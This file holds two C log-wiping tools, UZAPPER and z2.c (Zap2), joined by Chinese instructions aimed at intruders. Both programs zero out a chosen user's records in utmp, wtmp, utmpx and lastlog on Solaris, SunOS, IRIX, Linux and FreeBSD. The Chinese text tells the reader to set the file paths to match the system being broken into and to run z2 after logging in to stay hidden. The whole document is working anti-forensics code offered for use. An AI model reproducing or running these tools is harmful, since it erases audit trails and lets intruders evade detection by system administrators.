/*=============================================================================
UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
Written by UNYUN ( unewn4th@usa.net )
=============================================================================
*/
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <utmp.h>
#ifdef UTMAXTYPE
#define UTMPX
#include <utmpx.h>
#endif
#include <pwd.h>
#ifndef _PATH_LASTLOG
#include <lastlog.h>
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#define SVR4_UTMP "/var/adm/utmp"
#define SVR4_WTMP "/var/adm/wtmp"
#define SVR4_LASTLOG "/var/adm/lastlog"
#define SUNOS4_UTMP "/etc/utmp"
#define SUNOS4_WTMP "/usr/adm/wtmp"
#define SUNOS4_LASTLOG "/usr/adm/lastlog"
#define BSD_UTMP "/var/run/utmp"
#define BSD_WTMP "/var/log/wtmp"
#define BSD_LASTLOG "/var/log/lastlog"
#define MAX_FPATH 512
int wipe_log(path,user,type)
char *path,*user;
int type;
{
struct utmp utmp_ent;
#ifdef UTMPX
struct utmpx utmpx_ent;
#endif
void *ent;
char *un;
int sz,fd,c=0;
if (strlen(path)==0) return(1);
if (type==0){
ent=(void *)&utmp_ent;
#ifdef UTMPX
un=(char *)&utmp_ent.ut_user;
#else
un=(char *)&utmp_ent.ut_name;
#endif
sz=sizeof(struct utmp);
}else{
#ifdef UTMPX
ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=sizeof(struct utmpx);
#endif
}
if ((fd=open(path,O_RDWR))<=0) return(-1);
while(read(fd,ent,sz)>0)
if (!strncmp(un,user,strlen(user))){
memset(ent,0,sz);
lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c++;
}
close(fd);
printf("Wiped %d entries of %s from %s.\n",c,user,path);
return(0);
}
int wipe_lastlog(path,user,type)
char *path,*user;
int type;
{
struct passwd *p;
struct lastlog ent;
int fd;
char buffer[MAX_FPATH];
if (type==0) strcpy(buffer,path);
else sprintf(buffer,"%s/%s",path,user);
memset(&ent,0,sizeof(struct lastlog));
if ((p=getpwnam(user))==NULL) return(-1);
if ((fd=open(buffer,O_RDWR))<=0) return(-2);
if (type==0)
lseek(fd,p->pw_uid*sizeof(struct lastlog),SEEK_SET);
write(fd,&ent,sizeof(struct lastlog));
close(fd);
printf("Wiped %s from %s.\n",user,path);
return(0);
}
main(argc,argv)
int argc;
char *argv[];
{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
int lastlog_type;
if (argc!=2){
printf("Usage: %s Usernane\n",argv[0]);
exit(1);
}
if (getpwnam(argv[1])==NULL){
printf("Unknown user : %s\n",argv[1]);
exit(1);
}
uname(&utname);
strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
if (!strcmp(utname.sysname,"SunOS")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#else
strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#endif
}else if (!strcmp(utname.sysname,"Linux")
|| !strcmp(utname.sysname,"FreeBSD")){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
}else if (!strcmp(utname.sysname,"IRIX")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#else
printf("Can not wipe. System Unknown.\n");
#endif
}else
printf("Can not wipe. System Unknown.\n");
wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}
编译好的wipe
其中 u 选项为 utmp utmpx 日志擦除．.
w 选项为 wtmp wtmpx 日志擦除．
l 选项为 lastlog 日志擦除．
a 为/var/adm/pacct日志擦除
Zap2 （清除 wtmp/lastlog/utmp记录）
我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c，使其包含这些文件的正确路径。
下面是在文件头部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系统中应该是：
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"
但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。修改好正确的文件路径后，编译这个文件，现在你登录之后运行z2，你就已比较安全了。
这里是c程序：
z2.c
--------------------------- cut here
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
